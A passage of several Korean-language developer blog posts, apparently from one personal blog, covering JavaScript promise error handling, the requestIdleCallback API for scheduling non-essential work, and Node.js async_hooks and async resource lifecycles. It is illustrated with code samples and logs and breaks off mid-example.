이벤트 리스너는 콜백의 반환값을 누구도 받지 않으므로, `.catch()`를 붙일 자리 자체가 없다. 따라서 콜백 내부에서 `try...catch`로 처리하거나,

```javascript
document.querySelector('button').addEventListener('click', async () => {
  try {
    await submit()
  } catch (e) {
    showErrorToast(e)
  }
})
```

리스너가 많다면 에러 처리를 붙여주는 래퍼를 만들어 쓰는 방법도 있다.

```javascript
const withErrorHandler =
  (fn) =>
  (...args) =>
    fn(...args).catch((e) => showErrorToast(e))

document.querySelector('button').addEventListener(
  'click',
  withErrorHandler(async () => {
    await submit()
  }),
)
```

## Promise Constructor

Promise Constructor 내부에서 동기로 에러가 발생하면 다음과 같이 잘 잡을 수 있다.

```javascript
new Promise(() => {
  throw new Error('err')
}).catch((e) => {
  console.log(e) // caught
})
```

executor(생성자에 넘기는 함수) 안에서 동기로 던진 에러는 스펙상 자동으로 그 promise의 rejection으로 변환되기 때문이다.

그러나, 여기에서도 비동기로 에러가 발생할 경우에는 잡히지 않게 된다.

```javascript
new Promise(() => {
  setTimeout(() => {
    throw new Error('err') // uncaught
  }, 0)
}).catch((e) => {
  console.log(e)
})
```

`setTimeout` 콜백이 실행되는 시점에는 executor가 이미 끝난 뒤라서, 이 `throw`는 promise와 아무 관계 없는 곳에서 터진다. 비동기 콜백 안에서는 `throw`가 아니라 **`reject`를 직접 호출**해야 rejection이 promise로 연결된다.

아래 처럼 하게 되면, `setTimeout()`은 이미 태스크 큐 뒤로 넘어가서 실행되기 때문에 에러가 잡히지 않게 된다.

```javascript
new Promise((res, rej) => {
  setTimeout(() => {
    // 1
    connection.query('SELECT ...', (err, results) => {
      // 2
      if (err) {
        rej(err)
      } else {
        const r = transformResult(results) // 3
        res(r)
      }
    })
  }, 1000)
})
```

콜백의 에러 인자(`err`)는 `rej`로 연결했지만, `transformResult(results)`가 던지는 에러(3)는 여전히 비동기 콜백 안의 `throw`라서 새어 나간다. 이런 경우에는 promise로 감싸는 범위를 최소한으로 좁히고, 나머지 로직은 체인으로 빼는 것이 안전하다.

```javascript
new Promise((res, rej) => {
  setTimeout(res, 1000) // 1 비동기로 넘긴다
})
  .then(
    () =>
      new Promise((res, rej) => {
        connection.query('SELECT ...', (err, results) => {
          // 2 넘긴 다음에 쿼리 실행
          if (err) {
            rej(err)
          } else {
            res(results)
          }
        })
      }),
  )
  .then((results) => transformResult(results)) // 3 해당 쿼리에 대한 적절한 `then`처리
```

이렇게 되면 `transformResult`가 던지는 에러도 `.then()` 콜백 안의 에러이므로 자동으로 체인의 rejection으로 전파되어, 마지막의 `.catch`나 `await`이 적절하게 처리할 수 있게 된다.

## 전역 안전망

위 케이스들을 다 챙겨도, 규모가 있는 코드베이스에서는 어딘가에서 rejection이 새기 마련이다. 그래서 호스트 환경들은 마지막 안전망을 제공한다.

브라우저에서는 `unhandledrejection` 이벤트다. 콘솔에 `Uncaught (in promise)`가 찍히기 직전에 이 이벤트가 먼저 발생하며, Sentry 같은 에러 모니터링 도구들이 promise 에러를 수집하는 지점도 바로 여기다.

```javascript
window.addEventListener('unhandledrejection', (event) => {
  reportError(event.reason) // reject된 값 (대개 Error 객체)
  event.preventDefault() // 콘솔의 기본 출력을 막는다
})
```

Node.js에서는 `process` 이벤트로 같은 일을 할 수 있다.

```javascript
process.on('unhandledRejection', (reason, promise) => {
  logger.error({reason}, 'unhandled rejection')
})
```

Node.js에서 한 가지 주의할 점은, **v15부터 unhandled rejection의 기본 동작이 경고 출력에서 프로세스 종료로 바뀌었다**는 것이다. 브라우저에서는 콘솔에 빨간 줄이 하나 늘어나고 말 일이, 서버에서는 프로세스가 통째로 죽는 장애가 된다. 위처럼 `unhandledRejection` 핸들러를 등록하면 종료를 막을 수 있다.

다만 이것은 어디까지나 마지막 안전망이지, 개별 에러 처리의 대체재가 아니다. 이 지점까지 흘러온 에러는 어느 요청, 어느 사용자 동작에서 발생했는지에 대한 맥락이 이미 사라진 뒤라서, 로깅과 알림 정도가 할 수 있는 일의 전부다.

## 정리

모든 케이스는 결국 하나의 원리로 환원된다. **async 함수의 `throw`는 예외가 아니라 reject된 promise를 만들고, 그 promise를 아무도 구독하지 않으면 `Uncaught (in promise)`가 된다.**

- **버려지는 promise를 만들지 않는다.** async 함수를 불렀으면 `await` 하거나 `.catch()`를 붙인다. async 콜백을 `forEach`처럼 반환값을 버리는 API에 넘기지 않는다.
- **구독자가 있는 형태로 바꾼다.** `forEach`는 `map` + `Promise.all`로, 비동기 콜백의 `throw`는 `reject` 호출로, 이벤트 리스너는 내부 `try...catch`나 래퍼로.
- **실패를 어떻게 소비할지에 따라 도구를 고른다.** 하나라도 실패하면 중단할 것이면 `Promise.all`, 전체 결과가 필요하면 `Promise.allSettled`.
- **안전망을 친다.** 브라우저는 `unhandledrejection`, Node.js는 `process.on('unhandledRejection')`. 특히 Node.js는 v15부터 기본이 프로세스 종료라는 것을 기억할 필요가 있다.

---

Source: https://yceffort.kr/2021/08/requestIdlecallback.md
Title: requestIdleCallback으로 최적화하기
Description: 내 인생은 언제 idle 할 것인가
Date: 2021-08-15
Tags: web-performance, javascript

사이트와 애플리케이션에는 실행해야할 스크립트가 잔뜩 쌓여있다. 이러한 자바스크립트가 최대한 빨리 실행되야 하는 것이 좋지만, 그와 동시에 사용자의 방해가 되지 않도록 해야 한다. 사용자가 페이지를 스크롤 할 때 데이터를 보내거나, DOM에 element를 추가해야 하는 경우 웹 애플리케이션이 응답하지 않아 사용자 경험이 저하될 수 있다.

이를 해결하기 위해 [requestIdleCallback](https://developer.mozilla.org/ko/docs/Web/API/Window/requestIdleCallback)이라는 API가 있다. `requestAnimationFrame`을 사용하면 애니메이션을 적절하게 스케쥴링하고, 60fps를 달성하는데 도움을 줄 수 있는 것 처럼, `requestIdleCallback`은 프레임이 끝나는 지점에 있거나, 사용자가 비활성화 상태일 때 작업을 예약할 수 있다.

- https://developer.mozilla.org/ko/docs/Web/API/Window/requestIdleCallback
- https://w3c.github.io/requestidlecallback/
- https://github.com/pladaria/requestidlecallback-polyfill

## 왜 `requestIdleCallback`인가

필수적이지 않은 작업을 스케쥴링해서 처리하는 것은 매우 어렵다. `requestAnimationFrame` 콜백을 실행한 후 스타일 연산, 레이아웃, 페인팅 및 기타 브라우저 내부에서 실행해야하는 작업을 수행하기 때문에, 현재 남은 프레임 시간을 정확히 파악하는 것은 어렵다. 개발자가 여기에서 해볼 수 있는 시도는 많지 않다. 사용자가 어떤 방식으로든 인터랙션을 하지 못하게 하려면, 사용자가 할 수 있는 모든 종류의 인터랙션 (스크롤, 터치, 클릭 등)에 listener를 달아야 한다. 반면 브라우저는 프레임 작업이 끝난 이후에 얼마나 여유가 있는지, 그리고 사용자가 인터랙션 중인지 알 고 있기 때문에 `requestIdleCallback`을 사용해 가능한 효율적으로 이 빈 시간을 활용할 수 있는 api를 쓸 수 있다.

## `requestIdleCallback`

- https://caniuse.com/requestidlecallback

IE에서는 사용이 불가능하고, safari에서는 (여전히) 실험적 기능으로 제공되고 있다.

polyfill

- https://github.com/pladaria/requestidlecallback-polyfill/blob/master/index.js
  - timeout을 이용해서 적용
- https://github.com/aFarkas/requestIdleCallback
  - 말그대로 사용자가 할 수 있는 모든 이벤트에 리스너를 달아둬서 해결

## `requestIdleCallback` 사용해보기

`requestIdleCallback`은 [requestAnimationFrame](https://developer.mozilla.org/ko/docs/Web/API/Window/requestAnimationFrame)과 매우 비슷하다.

```javascript
requestIdleCallback(myNonEssentialWork)
```

`myNonEssentialWork`가 호출되면, 이 작업의 남은시간을 나타내는 함수가 포함된 [deadline](https://developer.mozilla.org/ko/docs/Web/API/IdleDeadline)객체를 넘겨받는다.

```javascript
function myNonEssentialWork(deadline) {
  while (deadline.timeRemaining() > 0) doWorkIfNeeded()
}
```

`timeRemaining`함수를 호출하여 현재 최신 값을 가져올 수도 있다. `timeRemaining`의 값이 0 이면서, 다음 작업이 또 있는 경우에는 `requestIdleCallback`으로 다음 작업을 또 예약할 수도 있다.

```javascript
function myNonEssentialWork(deadline) {
  while (deadline.timeRemaining() > 0 && tasks.length > 0) doWorkIfNeeded()

  if (tasks.length > 0) requestIdleCallback(myNonEssentialWork)
}
```

## 함수 호출을 보장받는 방법

만약 작업이 정말 정말 바쁘면 어떻게 될까? 콜백이 실행되지 않을지 걱정될 수도 있다. `requestIdleCallback`은 `requestAnimationFrame`와 다르게 두번째 인수가 존재한다. 이 인수에서는, timeout을 넘길 수 있는데, 이 설정된 시간이 초과된 경우 idle 상태와 상관없이 그냥 실행해버린다.

```javascript
// 2초는 내가 기다려본다...
requestIdleCallback(processPendingAnalyticsEvents, {timeout: 2000})
```

이렇게 시간 초과로 인해 콜백이 실행되는 경우 아래 두가지를 확인할 수 있다.

- `timeRemaining()`은 0을 반환
- `didTimeout`이 true가 됨

```javascript
function myNonEssentialWork(deadline) {
  while (
    (deadline.timeRemaining() > 0 || deadline.didTimeout) &&
    tasks.length > 0
  )
    doWorkIfNeeded()

  if (tasks.length > 0) requestIdleCallback(myNonEssentialWork)
}
```

이 timeout으로 인해 사용자 작업이 중단될 수도 있으므로 (작업으로 인해 애플리케이션이 응답하지 않거나 오류가 나거나), 이 인수를 사용할 때는 주의해야 한다.

## 데이터 분석을 위해 `requestIdleCallback`사용하기

`requestIdleCallback`를 사용하는 예제를 살펴보자. 이 경우 메뉴를 클릭하는 것과 같은 이벤트를 추적할 수 있다 그러나 일반적으로 메뉴를 클릭하면 화면에 애니메이션이 함께 표시되므로, google analytics에 이 이벤트를 즉시 보내지 않도록 설정해보자.

```javascript
var eventsToSend = []

function onNavOpenClick() {
  // 메뉴를 여는 이벤트
  menu.classList.add('open')

  // 보낼 이벤트를 저장해둔다.
  eventsToSend.push({
    category: 'button',
    action: 'click',
    label: 'nav',
    value: 'open',
  })

  schedulePendingEvents()
}
```

`requestIdleCallback`를 활용하여 이 이벤트를 실행해보자.

```javascript
function schedulePendingEvents() {
  // isRequestIdleCallbackScheduled 가 있으면 예약하지 않는다.
  if (isRequestIdleCallbackScheduled) return

  // 없으면 작업시작 준비
  isRequestIdleCallbackScheduled = true

  if ('requestIdleCallback' in window) {
    // 최대 2초 대기
    requestIdleCallback(processPendingAnalyticsEvents, {timeout: 2000})
  } else {
    processPendingAnalyticsEvents()
  }
}
```

이 예제에서는 2초로 설정했지만, 애플리케이션에 따라 이 값이 달라질 수 있다.데이터 분석의 경우, 데이터를 미래의 특정 시점에 리포트 하는 것이 아니라 적절한 시간에 리포팅 해야 한다.

```javascript
function processPendingAnalyticsEvents(deadline) {
  // false 상태로 만들어 다음 작업도 받게함
  isRequestIdleCallbackScheduled = false

  // deadline이 없다면, 바로 실행
  if (typeof deadline === 'undefined')
    deadline = {
      timeRemaining: function () {
        return Number.MAX_VALUE
      },
    }

  // 작업이 남아있고, 여유가 있는 경우 실행
  while (deadline.timeRemaining() > 0 && eventsToSend.length > 0) {
    var evt = eventsToSend.pop()

    ga('send', 'event', evt.category, evt.action, evt.label, evt.value)
  }

  // 해야할 작업이 있다면 다시 예약
  if (eventsToSend.length > 0) schedulePendingEvents()
}
```

이 예제에서는, `requestIdleCallback`가 없으면 바로 전송하도록 해두었다. 그러나 프로덕션 애플리케이션에서는 사용자의 상호작용과 충돌하지 않고 에러가 발송하지 않도록 timeout으로 지연해서 전송하는 것이 좋다.

## `requestIdleCallback`으로 DOM 조작하기

`requestIdleCallback`이 성능에 도움이 될 수 있는 또다른 상황은, 필수적이지 않은 DOM을 변경해야 하는 경우가 있다. 예를 들어, 지속적으로 children 하단에 붙어서 로딩되는 DOM과 같은 것을 들 수 있다.

![](https://developers.google.com/web/updates/images/2015-08-27-using-requestidlecallback/frame.jpg)

먼저, 브라우저가 지속적으로 사용중이어서, 작업을 할 수 있는 여유시간이 없는 경우도 가정해야 한다. 이 경우, 프레임별로 `setImmediate`를 실행해야 한다.

프레임이 끝나는 지점에서 콜백이 실행되면, 현재 프레임이 커밋된 이후에 실행할 수 있도록 스케쥴링 될 것이다. 즉, 스타일 변경사항이 적용되고, 레이아웃이 다시 계산될 것이다. idle callback내에서 DOM을 조작하려면, 레이아웃 계산이 취소될 수 있다. 다음 프레임에서 `getBoundingClientRect`이나 `clientWidth`와 같이 현재 레이아웃을 읽어오는 메소드가 있는 경우, [강제 동기식 레이아웃](https://developers.google.com/web/fundamentals/performance/rendering/avoid-large-complex-layouts-and-layout-thrashing#avoid-forced-synchronous-layouts)을 수행해야 하는데 이 경우 브라우저에서 성능 저하가 일어날 수 있다.

idle callback에서 DOM 조작을 트리거하지 않는 또다른 이유는, DOM 에 걸리는 시간을 예측할 수 없기 때문에, 브라우저에서 제공한 deadline을 쉽게 넘길 수 있기 때문이다.

따라서 가장 좋은 방법은 브라우저가 스스로 스케쥴링할 수 있는 `requestAnimationFrame` 콜백 내부에서 DOM 조작을 하는 것이다. 하나 주의해야할 것은, 만약 가상돔 라이브러리를 사용한다면 `requestIdleCallback`에서 변경작업을 수행하지만, idle callback이 아닌 다음 `requestAnimationFrame`에서 DOM 변경작업을 적용한다.

```javascript
function processPendingElements(deadline) {
  // deadline이 없으면, 바로 실행
  if (typeof deadline === 'undefined')
    deadline = {
      timeRemaining: function () {
        return Number.MAX_VALUE
      },
    }

  if (!documentFragment) documentFragment = document.createDocumentFragment()

  // 작업에 여유가 있고, 작업이 있으면 바로 실행
  while (deadline.timeRemaining() > 0 && elementsToAdd.length > 0) {
    var elToAdd = elementsToAdd.pop()
    var el = document.createElement(elToAdd.tag)
    el.textContent = elToAdd.content

    documentFragment.appendChild(el)

    // 바로 실행하는 것이 아니고, 다음 requestAnimationFrame 까지 대기
    scheduleVisualUpdateIfNeeded()
  }

  if (elementsToAdd.length > 0) scheduleElementCreation()
}
```

```javascript
function scheduleVisualUpdateIfNeeded() {
  if (isVisualUpdateScheduled) return

  isVisualUpdateScheduled = true

  requestAnimationFrame(appendDocumentFragment)
}

function appendDocumentFragment() {
  // Append the fragment and reset.
  document.body.appendChild(documentFragment)
  documentFragment = null
}
```

## 더 읽어보기

- https://developers.google.com/web/updates/2015/08/using-requestidlecallback
- https://engineering.linecorp.com/ko/blog/line-securities-frontend-4/
- https://www.w3.org/TR/requestidlecallback/

---

Source: https://yceffort.kr/2021/08/async-resources-async-hooks.md
Title: 비동기 리소스 (async resources)와 비동기 훅 (async hooks) 이해하기
Description: 비동기로 불타는 금요일
Date: 2021-08-14
Tags: nodejs, backend

## Table of Contents

## Introduction

실제 우리가 사용하는 nodejs 애플리케이션은 비동기 작업, 그리고 이로 인해 만들어지고 없어지기를 반복하는 비동기 리소스 등으로 인해 매우 복잡하게 운영되고 있을 수도 있다. 때문에 코드에서 이러한 비동기 리소스의 라이프 사이클을 확인하는 기능은 애플리케이션에 대하나 통찰력, 그리고 실제 실행 가능한 성능 및 잠재적인 최적화 정보를 제공할 수 있기 때문에 매우 유용할 수 있다.

이러한 고급기능을 사용하기 위해 [AsyncListener](https://github.com/nodejs/node-v0.x-archive/pull/6011)라 든가 [async_wrap](https://github.com/nodejs/node-v0.x-archive/commit/709fc160e5) 와 같은 것들을 통해 많은 시도가 있었다. 그리고 감사하게도, 이제는 비동기 리소스의 라이프 사이클을 추적할 수 있는, 매우 성숙하나 기능인 `async_hooks`을 갖게 되었다. 지금 2021-08-14 00:26:43 을 기준으로도 여전히 실험 단계 이긴 하지만 (nodejs 16.6.2 기준), 꽤 많이 다듬어졌고, 형태를 갖추고 있다.

`async_hooks`는 다양한 기능을 가지고 있지만, 그 중에 가장 흥미로운 것은 파일 읽기, http 요청, http server 생성, 데이터 베이스에 쿼리 수행과 같은 응용프로그램에서 자주 수행하는 작업에서 어떤 일들이 벌어지는지 쉽게 이해할 수 있다는 것이다.

같이 보면 좋은 글 들

- https://nodejs.org/api/async_hooks.html
- https://itnext.io/a-pragmatic-overview-of-async-hooks-api-in-node-js-e514b31460e9

## 비동기 리소스의 생명주기

비동기 리소스는 비동기 작업의 일부로 생성된다. 비동기 리소스는 비동기 작업을 추적하는데 사용되는 객체에 불과하다. 따라서 작업이 완료되면 자연스럽게 실행되는 콜백과 연결된다. 비동기 리소스가 이 용도에 맞게 작동되면, 다른 객체와 마찬가지로 가비지 컬렉팅되어 사라진다.

가장 간단한 예제로 `setTimeout`을 들 수 있다. `setTimeout`은 비동기 리소스인 `Timeout`을 리턴하는데, 이는 타이머를 함수의 리턴 값으로 추적하기 위해 사용된다. nodejs repl에서 `setTimeout`을 호출해보자.

```bash
> setTimeout(()=>{}, 1000)
Timeout {
  _idleTimeout: 1000,
  _idlePrev: [TimersList],
  _idleNext: [TimersList],
  _idleStart: 6720,
  _onTimeout: [Function (anonymous)],
  _timerArgs: undefined,
  _repeat: null,
  _destroyed: false,
  [Symbol(refed)]: true,
  [Symbol(kHasPrimitive)]: false,
  [Symbol(asyncId)]: 26,
  [Symbol(triggerId)]: 5
}
```

이 `Timeout` 객체에는 다음과 같은 정보가 담겨있다.

- `timeout` 값인 `_idleTimeout`
- Timer callback `_onTimeout`
- `timer`와 `interval`인지 를 구분하는 값인 `_repeat`
- 현재 `timeout`이 활성화 중인지 여부를 나타내는 `_destroyed`
- ....

일반적인 비동기 리소스의 생명주기는 다음과 같다.

1. 생성됨
2. 콜백이 실행됨
3. 없어짐

`async_hook`을 사용하면, 콜백 함수를 붙일 수 있는 `hooks`을 제공하여, 위 생명주기의 여러 단계를 살펴볼 수 있다. `hook`에는 `init` `before` `after` `destroy`와 같은 네가지 타입이 있다. 이 단계는 위 생명주기에서 다음 과 같은 순서로 실행된다.

1. 생성됨 `init()`
2. `before()` 콜백이 실행됨 `after()`
3. 없어짐 `destroyed()`

비동기 리소스가 얼마나 지속 되느냐에 따라 비동기 리소스 콜백은 0번에서 여러번까지도 실행될 수 있다. 따라서 특정 비동기 리소스의 hook이 여러번 실행되거나, 혹은 실행이 아예 안될 수도 있다. 위 예제에서 `setTimeout`는 한번씩 호출되지만, `setInterval`을 사용하면 `init`뒤에 여러번 반복해서 실행될 수 있다.

예를 들어, `setTimeout`과 `setInterval`은 모두 `Timeout`이라고 불리는 비동기 리소스를 만든다. 하지만 아래와 같은 차이가 있다.

```bash
> setInterval(()=>{}, 1000)
Timeout {
  _idleTimeout: 1000,
  _idlePrev: [TimersList],
  _idleNext: [TimersList],
  _idleStart: 23081,
  _onTimeout: [Function (anonymous)],
  _timerArgs: undefined,
  _repeat: 1000,
  _destroyed: false,
  [Symbol(refed)]: true,
  [Symbol(kHasPrimitive)]: false,
  [Symbol(asyncId)]: 138,
  [Symbol(triggerId)]: 5
}
```

`_repeat` 속성에 숫자값 1000이 들어가 있어서 계속해서 반복될 것임을 알 수 있다.

`Promise`의 경우에는 조금 다른데, 여기엔 `promiseResolve`라는 훅이 있어 `resolved`나 `rejected` 직후에 실행된다. 아래 순서를 보자.

1. 생성됨 `init()`
2. Promise가 resolve되거나 reject됨 `promiseResolve()`
3. `before()` 콜백이 실행됨 `after()`
4. 없어짐 `destroy()`

## 실제 애플리케이션에서의 비동기 리소스

실제 우리가 사용하는 애플리케이션에서는, 비동기 리소스는 그 생명주기 동안 많은 async hooks을 트리거 할 수 있다. 아래 http request 핸들러를 살펴보자.

```javascript
app.post("/user", (req, res) => {
  db(req.body, (err, stored) => {
    if (err) {
      return res.sendStatus(500)
    }

    notifyUpstream(stored, (err) =. {
      if (err) {
        return res.sendStatus(500)
      }
      res.sendStatus(201)
    })

    logger.log('stored in database')
  })
})
```

이 http request handler가 하는 작업은 아래와 같다.

- `http` 를 통해서 데이터를 받음
- 데이터베이스에 저장
- `http`를 통해 업스트림 서비스에 알림
- 메시지 로깅

![diagram](./images/async-hooks-diagram.png)

위 네가지 작업이 4개의 비동기 리소스를 생성한다고 가정해보자.

- `DB Operation` 작업은 `HTTP Client Request`와 `Logging` 보다는 오래 걸리지 않을 것이다. 왜냐면 `storeInDb` 함수가 `notifyUpstream`과 `logger.log`의 작업이 완료 될 때 까지 기다리지 않기 때문이다.
- `Logging`도 마찬가지로 비동기 작업인데, 비동기 리소스를 만들기 때문이다. 다만 이 리소스는 다른 것에 비해 생명주기가 짧다.
- `Incoming HTTP Request`는 가장 마지막에 없어지는 리소스가 될 것이다. `notifyUpstream`가 완료되고 응답이 완전히 전송된 후에만 완료되기 때문이다.

## 타이머를 쓰는 실제 예제

이제 비동기 리소스의 라이프 사이클을 이론적으로 몇가지 살펴보았으므로, 몇가지 실제 사례를 살펴보자. 이 데모에서는 async_hooks가 사용된 몇가지 코드 예제를 사용할 것이다.

### `setTimeout`

```javascript
const {logger} = require('./setup')
logger.clearLog()

setTimeout(() => {
  logger.write('timer callback')
}, 1000)
```

```bash
    (asyncId: 2) INIT (Timeout) (triggerAsyncId=1) (resource=Timeout)
    (asyncId: 2) BEFORE
timer callback
    (asyncId: 2) AFTER
    (asyncId: 2) DESTROY

```

이 결과에 따르면

- 비동기 리소스 `Timeout`은 `setTimeout`이 호출되었을 때 초기화 되었다.
- `1000ms`가 만료되기 전에, `before` async hook이 타이머 콜백이 실행되기 직전에 실행되었다.
- Timer 콜백이 실행되고, `timer callback`이 로깅 되었다.
- Timer 콜백이 실행된 이후에, `after` async hook이 실행되었다.
- `Timeout` 리소스가 사라지기 직전에 `destroy` async hook이 실행되었다.

### nested `setTimeout`

```javascript
const {logger} = require('./setup')
logger.clearLog()

setTimeout(() => {
  logger.write('outer timer callback')
  setTimeout(() => {
    logger.write('inner timer callback')
  }, 1000)
}, 1000)
```

```bash
    (asyncId: 2) INIT (Timeout) (triggerAsyncId=1) (resource=Timeout)
    (asyncId: 2) BEFORE
outer timer callback
        (asyncId: 3) INIT (Timeout) (triggerAsyncId=2) (resource=Timeout)
    (asyncId: 2) AFTER
    (asyncId: 2) DESTROY
        (asyncId: 3) BEFORE
inner timer callback
        (asyncId: 3) AFTER
        (asyncId: 3) DESTROY
```

이 예제에서는, 바깥 쪽 Timeout 리소스가 트리거 되면, 또다른 Timeout 리소스를 트리거 한다. 내부 타이머의 Timeout리소스가 `triggerAsyncId` 2를 가지고 있고, 이는 외부 Timeout 리소스의 `asyncId`임을 할 수 있다. 이로 미루어보아 내부 타이머가 외부 타이머의 트리거로 실행되었음을 알 수 있다.

그러나, 사실은 외부 Timer리소스가 내부 Timer 리소스보다 먼저 없어졌다고 보는 것이 맞다. 그 이유는 외부 타이버가 내부 타이머의 실행을 기다리거나, 콜백일 실행되는 것을 기다리지 않기 때문이다.

### clear `setTimeout`

```javascript
const {logger} = require('./setup')
logger.clearLog()

clearTimeout(
  setTimeout(() => {
    logger.write('timer callback')
  }, 1000),
)
```

```bash
    (asyncId: 2) INIT (Timeout) (triggerAsyncId=1) (resource=Timeout)
    (asyncId: 2) DESTROY
```

이 예제에서는, `BEFORE` 나 `AFTER`의 존재를 확인할 수는 없다. 왜냐하면 타이머가 즉시 제거 되었으며, 콜백 역시 `clearTimeout`의 호출로 인해 실행될 기회를 잃어버렸기 때문이다. 따라서, `before` `after` hook은 실행되지 않았다.

### `setInterval`

```javascript
const {logger} = require('./setup')
logger.clearLog()

let count = 0
let interval = null
interval = setInterval(() => {
  logger.write(`callback executed`)
  if (++count >= 3) {
    clearInterval(interval)
  }
}, 1000)
```

```bash
    (asyncId: 2) INIT (Timeout) (triggerAsyncId=1) (resource=Timeout)
    (asyncId: 2) BEFORE
callback executed
    (asyncId: 2) AFTER
    (asyncId: 2) BEFORE
callback executed
    (asyncId: 2) AFTER
    (asyncId: 2) BEFORE
callback executed
    (asyncId: 2) AFTER
    (asyncId: 2) DESTROY
```

`setTimeout`과 유사하게, `Timeout` 비동기 리소스를 생성한다. 그러나 `Timeout`는 `setInterval`로 만들어졌기 때문에 여기에서는 지속적인 비동기 리소스로 볼 수 있다. 지속적인 비동기 리소스의 경우 `before` `after`가 반복해서 호출될 수 있다. 이 예제에서는 3번 정도 호출하도록 되어있으므로, `before` `after`도 각각 3번씩 호출된다. `clearInterval`를 하게 된다면, `destroy`가 초훌되고 종료된다.

## Custom 비동기 리소스를 활용한 실질 적인 예제

지금까지는 NodeJS의 비동기 리소스인 `Timeout` 객체에 대해서만 다뤘다. `async_hooks` 모듈은 자바스크립트 내장 API인 `AsyncResource` 클래스를 사용하여 사용자가 직접 비동기 리소스를 만들어 쓸 수 있도록 도와준다.

### 자동으로 사라지는 Custom 비동기 리소스

```javascript
const {logger} = require('./setup')
const {AsyncResource, executionAsyncId} = require('async_hooks')
logger.clearLog()

class DBQuery extends AsyncResource {
  constructor(query) {
    super('DBQUERY', {
      triggerAsyncId: executionAsyncId(),
      requireManualDestroy: false, // This defaults to false even if not provided
    })
    this.query = query
  }

  executeQuery(callback) {
    this.runInAsyncScope(callback, null)
  }
}

const dbquery = new DBQuery()
dbquery.executeQuery(() => {
  logger.write('query executed!')
})

setTimeout(() => {
  // wait until the DBQuery instance is garbage collected...
}, 9999999)
```

- `requireManualDestroy`를 false로 지정해두었다. 리소스에 대한 `destroy` hook이 있다면, 리소스가 가비지 콜렉팅 될때 해당 hook이 자동으로 실행되어야 한다. 이 작업은 nodejs내부에서 직접 수행된다. 그리고 이 작업은 v8내부에 있는 리소스 객체인 **Weak Callback**이라고 하는 destroy hook에 등록되어 실행된다.
- 이 코드의 실행이 끝나면, 애플리케이션이 계속 살아 있게 하는 코드가 실행된다. 그 이유에 대해서는 나중에 설명한다.

이 코드를 NodeJS Cli 플래그인 `--trace-gc`와 함께 실행하면, 카비지 콜렉션 로그도 함께 볼 수 있다.

```bash
$ ode --trace-gc custom-async-resource-auto-destroy.js
[4848:0x60e5a70]       36 ms: Scavenge 2.5 (3.0) -> 2.1 (4.0) MB, 0.8 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure
[4848:0x60e5a70]       53 ms: Scavenge 2.6 (4.5) -> 2.4 (5.3) MB, 1.1 / 0.0 ms  (average mu = 1.000, current mu = 1.000) task
[4848:0x60e5a70]     8163 ms: Mark-sweep (reduce) 2.4 (7.3) -> 1.8 (7.3) MB, 0.9 / 0.0 ms  (+ 1.4 ms in 9 steps since start of marking, biggest step 0.3 ms, walltime since start of marking 3 ms) (average mu = 1.000, current mu = 1.000) finalize incremental marking via task GC in old space requested
[4848:0x60e5a70]     8768 ms: Mark-sweep (reduce) 1.8 (4.3) -> 1.8 (4.8) MB, 2.4 / 0.0 ms  (+ 1.8 ms in 9 steps since start of marking, biggest step 0.4 ms, walltime since start of marking 4 ms) (average mu = 0.993, current mu = 0.993) finalize incremental marking via task GC in old space requested
```

```bash
    (asyncId: 2) INIT (DBQUERY) (triggerAsyncId=1) (resource=DBQuery)
    (asyncId: 2) BEFORE
query executed!
    (asyncId: 2) AFTER
    (asyncId: 3) INIT (Timeout) (triggerAsyncId=1) (resource=Timeout)
    (asyncId: 2) DESTROY
```

해당 리소스는 `destroy` 훅이 실행된 순간 [Mark-Sweep](https://v8.dev/blog/trash-talk#major-gc)이 트리거 되어 즉시 가비지 콜렉팅 되었다.

`setTimeout` 콜백은 `dbquery`객체를 사용하지 않으므로, `setTimeout`이 실행된 이후에는 `dbquery`에 대한 참조가 없어 가비지 콜렉팅이 수행된다.

만약 마지막에 타이머가 없다면, 애플리케이션은 즉시 종료되어 가비지 콜렉팅이 수행될 시간조차 없어질 것이다. 따라서, `destroy` 훅은 실행되지 않는다.

이번에는, `setTimeout`안에서 `dbquery`를 참조하는 코드를 작성해보자.

```javascript
const {logger} = require('./setup')
const {AsyncResource, executionAsyncId} = require('async_hooks')
logger.clearLog()

class DBQuery extends AsyncResource {
  constructor(query) {
    super('DBQUERY', {
      triggerAsyncId: executionAsyncId(),
      requireManualDestroy: false, // This defaults to false even if not provided
    })
    this.query = query
  }

  executeQuery(callback) {
    this.runInAsyncScope(callback, null)
  }
}

const dbquery = new DBQuery()
dbquery.executeQuery(() => {
  logger.write('query executed!')
})

setTimeout(() => {
  // Keep a reference to dbquery so that it won't be garbage collected
  console.log(dbquery.asyncId())
}, 9999999)
```

```bash
$ node --trace-gc custom-async-resource-auto-destroy-nogc.js
[10609:0x483c100]       31 ms: Scavenge 2.4 (3.0) -> 2.0 (4.0) MB, 0.7 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure
[10609:0x483c100]       47 ms: Scavenge 2.6 (4.3) -> 2.4 (5.0) MB, 1.0 / 0.0 ms  (average mu = 1.000, current mu = 1.000) task
[10609:0x483c100]     8153 ms: Mark-sweep (reduce) 2.4 (7.0) -> 1.8 (7.0) MB, 0.9 / 0.0 ms  (+ 1.4 ms in 7 steps since start of marking, biggest step 0.4 ms, walltime since start of marking 3 ms) (average mu = 1.000, current mu = 1.000) finalize incremental marking via task GC in old space requested
[10609:0x483c100]     8758 ms: Mark-sweep (reduce) 1.8 (4.0) -> 1.8 (4.5) MB, 2.8 / 0.0 ms  (+ 1.6 ms in 8 steps since start of marking, biggest step 0.4 ms, walltime since start of marking 5 ms) (average mu = 0.993, current mu = 0.993) finalize incremental marking via task GC in old space requested
```

```bash
    (asyncId: 2) INIT (DBQUERY) (triggerAsyncId=1) (resource=DBQuery)
    (asyncId: 2) BEFORE
query executed!
    (asyncId: 2) AFTER
    (asyncId: 3) INIT (Timeout) (triggerAsyncId=1) (resource=Timeout)
```

가비지 콜렉션이 실행중이라 할지라도,리소스가 가비지 콜렉팅 되지 않았기 때문에 `destroy` 훅이 실행되지 않는 다는 것을 알 수 있다. 그 이유는 `setTimeout`안에 `dbquery` 객체의 참조가 유지되어 있어 `dequery`가 가비지 콜렉팅 되지 않도록 하고 있기 때문이다.

### 수동으로 destroy 되는 비동기 리소스

`requireManualDestroy`가 `true`가 되면 `destroy` 훅이 자동으로 실행되지 않고, 비동기 리소스에서 `emitDestroy()`를 호출해서 수동으로 제거해야 한다.

```javascript
const {logger} = require('./setup')
